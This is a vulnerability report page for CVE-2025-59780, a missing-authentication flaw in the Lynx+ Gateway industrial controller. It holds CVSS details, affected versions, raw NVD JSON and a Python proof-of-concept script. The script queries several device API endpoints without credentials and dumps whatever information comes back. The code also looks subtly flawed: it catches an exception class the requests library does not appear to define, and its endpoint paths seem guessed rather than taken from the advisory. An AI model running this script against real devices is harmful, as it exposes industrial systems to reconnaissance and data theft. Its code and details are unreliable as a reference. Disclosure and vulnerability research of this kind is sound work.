Security Vulnerability Report
中文
CVE-2025-59780 CVSS 7.5 HIGH

CVE-2025-59780

Published: 2025-11-15 00:15:47
Last Modified: 2026-04-15 00:35:42

Description

General Industrial Controls Lynx+ Gateway is missing critical authentication in the embedded web server which could allow an attacker to send GET requests to obtain sensitive device information.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Lynx+ Gateway 固件版本 <= 4.0.0.0
Lynx+ Gateway 固件版本 <= 3.8.x.x
Lynx+ Gateway 固件版本 <= 3.7.x.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys import json def exploit_cve_2025_59780(target_ip, target_port=443): """ CVE-2025-59780 PoC - Lynx+ Gateway Authentication Bypass This PoC demonstrates the missing authentication vulnerability in General Industrial Controls Lynx+ Gateway web server. """ # Target URL for sensitive device information endpoints endpoints = [ "/api/system/info", "/api/network/config", "/api/device/status", "/api/system/status" ] base_url = f"https://{target_ip}:{target_port}" results = {} print(f"[*] Target: {base_url}") print(f"[*] CVE-2025-59780 - Lynx+ Gateway Authentication Bypass") print("=" * 60) for endpoint in endpoints: url = base_url + endpoint print(f"\n[*] Testing endpoint: {endpoint}") try: # Send unauthenticated GET request response = requests.get(url, verify=False, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS: Endpoint accessible without authentication") print(f"[+] Status Code: {response.status_code}") try: data = response.json() results[endpoint] = { "status": "vulnerable", "data": data } print(f"[+] Data Retrieved: {json.dumps(data, indent=2)}") except: results[endpoint] = { "status": "vulnerable", "data": response.text } print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Endpoint returned status: {response.status_code}") results[endpoint] = {"status": "protected", "code": response.status_code} except requests.exceptions.SSLVerificationError: print("[!] SSL verification error - trying with verify=False") response = requests.get(url, verify=False, timeout=10) print(f"[*] Response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") results[endpoint] = {"status": "error", "message": str(e)} print("\n" + "=" * 60) print("[*] Summary:") vulnerable_count = sum(1 for r in results.values() if r.get("status") == "vulnerable") print(f"[*] Vulnerable endpoints: {vulnerable_count}/{len(endpoints)}") if vulnerable_count > 0: print("[!] TARGET IS VULNERABLE TO CVE-2025-59780") else: print("[*] Target appears to be patched or not vulnerable") return results if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") print(f"Example: python {sys.argv[0]} 192.168.1.100 443") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit_cve_2025_59780(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59780", "sourceIdentifier": "[email protected]", "published": "2025-11-15T00:15:47.313", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "General Industrial Controls Lynx+ Gateway is missing critical authentication in the embedded web server which \ncould allow an attacker to send GET requests to obtain sensitive device \ninformation."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-317-08.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-317-08", "source": "[email protected]"}]}}